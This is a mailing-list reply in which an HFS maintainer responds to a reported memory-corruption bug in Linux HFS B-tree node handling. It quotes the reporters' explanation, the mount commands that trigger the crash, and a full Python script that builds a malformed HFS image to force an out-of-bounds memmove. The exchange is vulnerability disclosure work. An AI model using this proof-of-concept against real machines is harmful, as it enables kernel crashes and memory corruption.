RE: Bug Report: Memory Corruption Vulnerability in HFS Node Operations

[Viacheslav Dubeyko <Slava.Dubeyko@ibm.com>]

On Tue, 2025-11-18 at 13:50 +0800, mowenroot@163.com wrote:
> On Tue, 2025-11-18 at 06:35, Viacheslav Dubeyko Slava.Dubeyko@ibm.com wrote:
> 
> > Are you sure that you have latest version of the kernel? Because, we have the
> >  necessary checks of offset and length (check_and_correct_requested_length()) for
> >  HFS node operations in latest kernel:
> 
> Thank you for your response and for reviewing our report.
> 
> Yes, we verified that our tests were performed on the latest stable kernel release, as well as older
> versions for comparison. Although check_and_correct_requested_length() exists, certain malformed
> on-disk HFS B-tree node fields can still produce corrected lengths that remain outside valid
> boundaries. Specifically, forged record offsets, numRecords, or node->page_offset values may cause
> src, dst, and len to pass the correction logic but still result in out-of-range access into node->page[0],
> which leads to memory corruption.
> 

OK I see. It's strange but let me take a deeper look into the issue.

The ticket [1] has been created for the issue.

> > Could you please share the kernel configuration (.config) on your side?
> 
> We did not enable any special options during compilation. We only enabled:
>  CONFIG_HFS_FS=y
>  CONFIG_HFSPLUS_FS=y
> 
> We can send the complete configuration as an attachment if needed.

I'll let you know if I will need the complete configuration. I will try to
reproduce the issue on my own at first.

> 
> > Which script or method do you mean?
> 
> We used a small Python tool to generate a crafted HFS image where several B-tree node heade
> fields (fLink, bLink, numRecords, nodeSize, and record offset table entries) are intentionally
> manipulated while keeping the volume header valid enough for the filesystem to mount.
> The resulting image can still be mounted and used normally. The script is included below.
> 

Many thanks for sharing the script.

> > Which particular operations have been executed? Could you please share the
> >  precise commands?
> 
> The minimal sequence that triggers the crash is:
> 
>  mkdir /mnt/hfs
>  mount -t hfs ./disk2.img /mnt/hfs
>  mkdir /mnt/hfs/1
> 
> It may not always crash immediately. However, if you debug and place a breakpoint at
> memmove(ptr + dst, ptr + src, len) inside fs/hfs/bnode.c, you will observe that 'len' becomes
> extremely large, and during the memmove operation an out-of-bounds access has already occurred.
> 

OK. Let me check it.

Thanks,
Slava.

[1] https://github.com/hfs-linux-kernel/hfs-linux-kernel/issues/241

> Thank you again for your time and assistance.
> 
> Thanks,
>  0rb1t & mowen
> 
> ----- BEGIN PYTHON SCRIPT -----
> 
> from struct import pack
> 
> default_file_data = {4: b'BD\xe57x\x97\xe57x\x97\x01\x00\x00\x00\x00\x03\x00\x00\xf8=\x00\x00B\x00\x00\x01\x08\x00\x00\x13\x00\x00\x00\x10\xf7\xc1\x08untitled\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x0f\xfc\x00\x00\x0f\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00cne\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\xfc\x00\x00\x00\x00>\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\xfc\x00\x00>\x00>\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', 6: b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', 38: b'\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x07\x00\x00\x07\xfe\x00\x00\x07\xfd\x00\x00\x00\x0f\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00', 39: b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xf8\x00\xf8\x00x\x00\x0e', 4130: b'\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x01\x02\x00\x00%\x00\x00\x07\xfe\x00\x00\x07\xfc\x00\x00\x00\x0f\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00', 4131: 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4132: b'\x00\x00\x00\x00\x00\x00\x00\x00\xff\x01\x00\x02\x00\x00\x0f\x00\x00\x00\x00\x01\x08untitled\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x02\xe57x\x97\xe57x\x97\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x02\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x08untitled\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', 4133: 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> 
> file = open('disk2.img', 'wb+')
> file.truncate(1024*1024*1024)
> for k, v in default_file_data.items():
>     file.seek(k*0x100, 0)
>     file.write(v)
> 
> node_size = 0x8000
> #Change node_size to 0x2000
> file.seek(0x102200 + 0x20, 0)
> file.write(pack('>H', node_size))
> 
> #Arrange root's data_rec_off
> file.seek(0x102200 + node_size - 8, 0)
> file.write(pack('>H H H H', 0x1F8, 0xF8, 0x78, 0x0E))
> 
> file.seek(0x102200 + node_size, 0)
> file.write(default_file_data[0x1024])
> 
> #0x9a-(0x9a+n) -> 0xe8-(0xe8+n)
> #0x1000+k==0xe8+n -> n = 0x1000 - 0xe8 + k
> #(0x9a+n-k) = (0x9a-0xe8+0x1000)->*(0x9a+n-k)=any_data
> 
> data = pack('>H', 0xf0e0)
> k = len(data)
> file.seek(0x102200 + node_size*2 - 8, 0)
> file.write(pack('>H H H H', node_size - 0x1000 + 0x9a - 0xe8 + k, 0x9A, 0x64, 0x0E))
> file.seek(0x102200 + node_size + node_size - 0x1000 - 0xe8 + 0x9a, 0)
> 
> file.write(data)
> file.close()
> 
> ----- END PYTHON SCRIPT -----